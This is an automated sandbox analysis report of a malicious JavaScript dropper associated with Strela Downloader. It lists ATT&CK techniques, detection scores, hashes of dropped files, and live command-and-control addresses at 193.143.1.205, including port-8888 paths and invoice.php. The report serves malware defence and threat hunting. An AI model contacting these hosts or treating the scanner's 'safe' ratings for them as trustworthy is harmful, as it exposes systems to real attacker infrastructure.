Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
533625797193620143.js	5%	Virustotal		Browse
533625797193620143.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/space	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/T	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.21	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2266869600.0000021A62FD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3507382728.0000021A6308C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/T	net.exe, 00000007.00000002.2279833619.000001C431ED8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2281310050.000001C431F13000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.2279833619.000001C431ED8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588058
Start date and time:	2025-01-10 20:52:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	533625797193620143.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 52.6.155.20, 3.219.243.226, 52.22.41.97, 3.233.129.217, 2.23.242.162, 2.23.197.184, 84.201.210.21, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.149.20.212, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:53:45	API Interceptor	21x Sleep call for process: powershell.exe modified
14:53:48	API Interceptor	1x Sleep call for process: net.exe modified
14:53:48	API Interceptor	2x Sleep call for process: svchost.exe modified
14:53:56	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	217.20.57.42
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	Message 2.eml	Get hash	malicious	Unknown	Browse	84.201.210.39
	naebalovo.dll.dll	Get hash	malicious	Unknown	Browse	217.20.57.36
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	84.201.210.39
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.41
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	225008411339129134.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16112188701857928577.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	929826576149214658.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	143686862513618164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3253418218787826771.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1340465372044024725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263216229722276
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0Y:9JZj5MiKNnNhoxux
MD5:	838699E55CB3768B52ABB4E7371F67F3
SHA1:	CC4131A6C2C741CF5FEB714C83D5B22AE28F7A6A
SHA-256:	4A8EC671C8DE82EF86AE13AE7E4B71CAF269FEFE1E7A35AE07025DE4029C1ADC
SHA-512:	968268A40F30FD7C64869F36F8BF68FD0A2126DD4B07A6AD2AF1A4264F355E940159CFD6DA9C8D21319497B312B7CE346DA79DC288A92CCF19F22179562E7D15
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x7c1f76c1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555465497138609
Encrypted:	false
SSDEEP:	1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
MD5:	0AAC0ECDDAC3EA69732753CDDF7C8232
SHA1:	A7B9E754B1CC160C9606FAE5CE9EB5BC7A67FBEF
SHA-256:	5A6E1D18F7B0E65EE882B5C39657EBDB066989B299B54636A6F4D3E1BB688EEA
SHA-512:	9EEAD73DF8AA4084AE6EED819D6860BF9499F07B2999AC0DCD5E2C060B00F1529FB159B0425D77CB17C7ED028F8F99FAB5294365F922C1FB14A54AF4B9E3A3FE
Malicious:	false
Preview:	\|.v.... .......7.......X\...;...{......................0.e......!...{?.05...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{......................................05...}.................\:zr05...}Q..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07992710410235931
Encrypted:	false
SSDEEP:	3:AEYeij8Xag3NaAPaU1lMZXtlAlluxmO+l/SNxOf:vzaCDNDPaUk1tlAgmOH
MD5:	8DA0E442BB05E92C04F9FFB433D9178C
SHA1:	A2E69EB56CD98996B591EF91699F2A77F6016EAA
SHA-256:	F604D842CE04694D9B9AC27DC1E7780964237F86DD9C4E4C213E180D2F02B024
SHA-512:	6B0CAAF883886A49E36AF4D1CA599713C66BE1F63FD6FBB49D72B232F94454F268946AD4F6CBF607203C979946911DD811C02B758D2B6131275167B3E0714A49
Malicious:	false
Preview:	'..T.....................................;...{..05...}Q..!...{?..........!...{?..!...{?..g...!...{?.................\:zr05...}Q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.1695077986385805
Encrypted:	false
SSDEEP:	6:iO4rQ+q2PN72nKuAl9OmbnIFUtSLmdWZmwsLmQVkwON72nKuAl9OmbjLJ:77+vVaHAahFUt0MW/WLV5OaHAaSJ
MD5:	DFAFF88889FBFC066BFE7FAF4DBD78D8
SHA1:	6DC219C09E6DCDA199781DF861FA73DA8EBF5102
SHA-256:	FBCC08FE3552C79CFED6B41DAE3071F350F9A50DB71C141F85D03F7E563D9670
SHA-512:	586EC0A2723E334D4FB19F89C13C827A25A5C300048E12608B87326ABCE17FD111404522A4C466F571A1727A8AADA712AC6DC694A4B5778ADC26B8C951C3F34E
Malicious:	false
Preview:	2025/01/10-14:53:48.502 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:53:48.507 1c3c Recovering log #3.2025/01/10-14:53:48.507 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.1695077986385805
Encrypted:	false
SSDEEP:	6:iO4rQ+q2PN72nKuAl9OmbnIFUtSLmdWZmwsLmQVkwON72nKuAl9OmbjLJ:77+vVaHAahFUt0MW/WLV5OaHAaSJ
MD5:	DFAFF88889FBFC066BFE7FAF4DBD78D8
SHA1:	6DC219C09E6DCDA199781DF861FA73DA8EBF5102
SHA-256:	FBCC08FE3552C79CFED6B41DAE3071F350F9A50DB71C141F85D03F7E563D9670
SHA-512:	586EC0A2723E334D4FB19F89C13C827A25A5C300048E12608B87326ABCE17FD111404522A4C466F571A1727A8AADA712AC6DC694A4B5778ADC26B8C951C3F34E
Malicious:	false
Preview:	2025/01/10-14:53:48.502 1c3c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:53:48.507 1c3c Recovering log #3.2025/01/10-14:53:48.507 1c3c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.166166200895963
Encrypted:	false
SSDEEP:	6:iO4ucuRjyq2PN72nKuAl9Ombzo2jMGIFUtSuUz1ZmwsuCf+RkwON72nKuAl9OmbX:7+upyvVaHAa8uFUtE/s+R5OaHAa8RJ
MD5:	C02E6AA93FBB316B0D7C33361382B781
SHA1:	FDC7ACD472BE76183C90592B985CAF7F91252D95
SHA-256:	DB42F3ED5F687DA7BE04BFCC640A04E4EF9AD6706A784F84DE221E42808301DC
SHA-512:	C16170252B63020EACB95FB605C007221F16109E907C240E8DCEE9F66217591BF17139B57502B2017262B47D2803CC3EEE025D94D4D07DBB91C9E2DFEBCFD449
Malicious:	false
Preview:	2025/01/10-14:53:48.631 1cc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:53:48.632 1cc4 Recovering log #3.2025/01/10-14:53:48.633 1cc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.166166200895963
Encrypted:	false
SSDEEP:	6:iO4ucuRjyq2PN72nKuAl9Ombzo2jMGIFUtSuUz1ZmwsuCf+RkwON72nKuAl9OmbX:7+upyvVaHAa8uFUtE/s+R5OaHAa8RJ
MD5:	C02E6AA93FBB316B0D7C33361382B781
SHA1:	FDC7ACD472BE76183C90592B985CAF7F91252D95
SHA-256:	DB42F3ED5F687DA7BE04BFCC640A04E4EF9AD6706A784F84DE221E42808301DC
SHA-512:	C16170252B63020EACB95FB605C007221F16109E907C240E8DCEE9F66217591BF17139B57502B2017262B47D2803CC3EEE025D94D4D07DBB91C9E2DFEBCFD449
Malicious:	false
Preview:	2025/01/10-14:53:48.631 1cc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:53:48.632 1cc4 Recovering log #3.2025/01/10-14:53:48.633 1cc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.973047760161932
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlXhsBdOg2HsTcaq3QYiubcP7E4T3y:Y2sRdsoidMHsq3QYhbA7nby
MD5:	9E46E7505D58A0F5A2E5FC39E848A7D2
SHA1:	411FC2780EC27B1D43D5A36E97ED3169224729DC
SHA-256:	1F3D5E72888951DCE37F74FE5B2AD8332DC278E8BD593D52A8FEE265F0E8F592
SHA-512:	DEAC4D94C4396AB113AD5D9FC523AE0027E4DE887E07FFE64086473769D435ACBE53B472C95AB277E18B58976BCBEA8AB8A706E661B876D885950D1226076915
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098840296564","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":318576},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d1e3632b-3b12-493c-976b-18cceef9c6ae.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.973047760161932
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlXhsBdOg2HsTcaq3QYiubcP7E4T3y:Y2sRdsoidMHsq3QYhbA7nby
MD5:	9E46E7505D58A0F5A2E5FC39E848A7D2
SHA1:	411FC2780EC27B1D43D5A36E97ED3169224729DC
SHA-256:	1F3D5E72888951DCE37F74FE5B2AD8332DC278E8BD593D52A8FEE265F0E8F592
SHA-512:	DEAC4D94C4396AB113AD5D9FC523AE0027E4DE887E07FFE64086473769D435ACBE53B472C95AB277E18B58976BCBEA8AB8A706E661B876D885950D1226076915
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098840296564","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":318576},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.249947509720114
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7UB7q2:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhy
MD5:	5293B54DB47E5D98F097C271FBC9E6F0
SHA1:	9B29E577983161354D772B38D32CF5FFDC653E5B
SHA-256:	8223F6EDAB0F079E3263E458C68B220939403E330E01AAB166AEF3F6B51E1240
SHA-512:	7C648C64F47AB217B1D1F8201E0E700C95511B0037CF43A16D8037FF39996E28B725BFE1211058A226D009F4928F7AC53E960CB90A15D3C361A9422C50D44A48
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.170970628951607
Encrypted:	false
SSDEEP:	6:iO4iEyq2PN72nKuAl9OmbzNMxIFUtSmnz1ZmwsqylRkwON72nKuAl9OmbzNMFLJ:7+yvVaHAa8jFUt3Z/AR5OaHAa84J
MD5:	DD14EA2E9FF7F940AEFCD108E16A3641
SHA1:	86A1226D2C436E5046097130BE89765EE3804820
SHA-256:	14E644E9C108516D67A0B82036C8F3FDAF0D69540F4AF5526D0C7C6C64825D5C
SHA-512:	79B7114B28C2E018EA7AC2505BBF8CD0764A8062612C441FC7DB25A4592868041A7A13F66E5B7A17ECE7C2F135393B5D6502382EBDA79C46173F1CC037B6651C
Malicious:	false
Preview:	2025/01/10-14:53:48.816 1cc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:53:48.855 1cc4 Recovering log #3.2025/01/10-14:53:48.890 1cc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.170970628951607
Encrypted:	false
SSDEEP:	6:iO4iEyq2PN72nKuAl9OmbzNMxIFUtSmnz1ZmwsqylRkwON72nKuAl9OmbzNMFLJ:7+yvVaHAa8jFUt3Z/AR5OaHAa84J
MD5:	DD14EA2E9FF7F940AEFCD108E16A3641
SHA1:	86A1226D2C436E5046097130BE89765EE3804820
SHA-256:	14E644E9C108516D67A0B82036C8F3FDAF0D69540F4AF5526D0C7C6C64825D5C
SHA-512:	79B7114B28C2E018EA7AC2505BBF8CD0764A8062612C441FC7DB25A4592868041A7A13F66E5B7A17ECE7C2F135393B5D6502382EBDA79C46173F1CC037B6651C
Malicious:	false
Preview:	2025/01/10-14:53:48.816 1cc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:53:48.855 1cc4 Recovering log #3.2025/01/10-14:53:48.890 1cc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444567165617198
Encrypted:	false
SSDEEP:	384:ye6ci5thiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mys3OazzU89UTTgUL
MD5:	DACB1066B4C290AC3545A2BEA0DF6B92
SHA1:	CC68D17FDF24625A506AB274EEA2C61ADE912853
SHA-256:	22BCF3FF4F2287D2F05A19F805AEB23FF45855B8D891A15CFE20EFE6A2BA1191
SHA-512:	9185CBEBAA6DD79EE7B858303C37B13263BD5003A620CB701ADE3C71B4E207806BCDAB3D3B21DDEF21754D03F9390E7733F4824FB9E3B70ED2A206C5C72B2B94
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.765206706862191
Encrypted:	false
SSDEEP:	48:7MgFJioyVWioyAoy1C7oy16oy1sKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1I:7VJuWcvXjBixb9IVXEBodRBkO
MD5:	93792B007561F29C78C4EF117FCD57E2
SHA1:	3616C3D3DB14DE8265D0D95DB42B8D20C40513D6
SHA-256:	039DD0E74D51DC5518FB33381CE7F3B8843F9A3ED0A09EE914B085495351AB6E
SHA-512:	4F070729AA017ACCD7F02E7DD93D0B3B37D3E74C76DEBC5173066FE41A1D9CA508F785A0ABB061F1C9DAE52056637C21BC1882C62A634A27AC0872ED7A7DBF17
Malicious:	false
Preview:	.... .c.....L\.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

